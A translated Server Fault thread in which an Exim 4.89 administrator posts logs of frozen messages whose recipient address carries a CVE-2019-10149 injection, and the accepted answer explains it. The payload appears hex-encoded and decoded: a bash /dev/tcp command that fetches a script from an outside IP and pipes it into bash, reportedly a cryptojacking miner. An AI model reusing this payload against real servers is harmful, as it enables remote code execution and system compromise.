Início / server / Perguntas / 971654
Accepted
Skippy le Grand Gourou
Asked: 2019-06-17 12:54:33 +0800 CST

E-mails congelados não identificados repentinos com destinatário semelhante a injeção de código

  • 772

De repente, estou recebendo vários e-mails curiosos de "Mensagem congelada" do meu servidor (Exim 4.89, Debian estável):

A mensagem 1hcbPR-0005t1-2r foi congelada (mensagem de erro de entrega).

O remetente é <>.

O(s) seguinte(s) endereço(s) ainda não foram entregues:

root+${executar{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\ x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\ x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\ x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@ localhost: Muitos cabeçalhos "Recebidos" - suspeita de loop de correio

$ sudo exim4 -Mvb 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-D
$ sudo exim4 -Mvh 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-H
Debian-exim 101 103
<>
1560715549 0
-helo_name localhost
-host_address 163.172.157.143.51642
-interface_address <MY.IP>.25
-received_protocol smtp
-body_linecount 0
-max_received_linelength 12
-frozen 1560715549
-host_lookup_failed
XX
1
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost

569P Received: from [163.172.157.143] (helo=localhost)
    by myserver.example.org with smtp (Exim 4.89)
    id 1hcbPR-0005t1-2r
    for root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost; Sun, 16 Jun 2019 22:05:49 +0200
012P Received: 1
012P Received: 2
012P Received: 3
012P Received: 4
012P Received: 5
012P Received: 6
012P Received: 7
012P Received: 8
012P Received: 9
013P Received: 10
013P Received: 11
013P Received: 12
013P Received: 13
013P Received: 14
013P Received: 15
013P Received: 16
013P Received: 17
013P Received: 18
013P Received: 19
013P Received: 20
013P Received: 21
013P Received: 22
013P Received: 23
013P Received: 24
013P Received: 25
013P Received: 26
013P Received: 27
013P Received: 28
013P Received: 29
013P Received: 30
013P Received: 31

Parece injeção de código, mas não entendo e não parece muito prejudicial para mim:

root+${run{/bin/bash -c "exec 5<>/dev/tcp/51.38.133.232/80;echo -e 'GET / HTTP/1.0\n' >&5;tail -n +11 <&5 | bash" &}}@localhost: Too many "Received" headers - suspected mail loop

Todas as mensagens são semelhantes, com um endereço IP e uma porta diferentes. Todos vêm do mesmo endereço.

É uma infecção conhecida?

security

1 respostas

  1. Best Answer

    Encontrei a resposta pouco antes de postar, achei que poderia ser útil para outros: de fato, corresponde a tentativas de explorar uma vulnerabilidade do Exim, que permite a execução remota de código arbitrário. Foi anunciado e corrigido há uma semana ( CVE-2019-10149 ).

    Mais detalhes sobre esta vulnerabilidade podem ser encontrados aqui .

    Atualizar :

    Na verdade, o código injetado não é inofensivo  :

    exec 5<>/dev/tcp/51.38.133.232/80

    atribui o novo descritor de arquivo 5 a uma conexão TCP na porta 80 de 51.38.133.232. Ou seja, redirecionar para e do descritor de arquivo 5 escreverá e lerá neste IP!

    Então

    echo -e 'GET / HTTP/1.0\n' >&5

    enviará uma solicitação HTTP GET para este servidor e

    tail -n +11 <&5

    irá descartar os cabeçalhos HTTP, mantendo apenas um script bash malicioso que é finalmente executado sendo canalizado através de bash :

    |bash

    O referido script é um minerador de cryptojacking que, entre outras coisas, exclui o crontab root e algumas ferramentas administrativas (por exemplo netstat, ), mata os processos em execução para manter toda a CPU para si e tenta propagar através do SSH…

    • 1

relate perguntas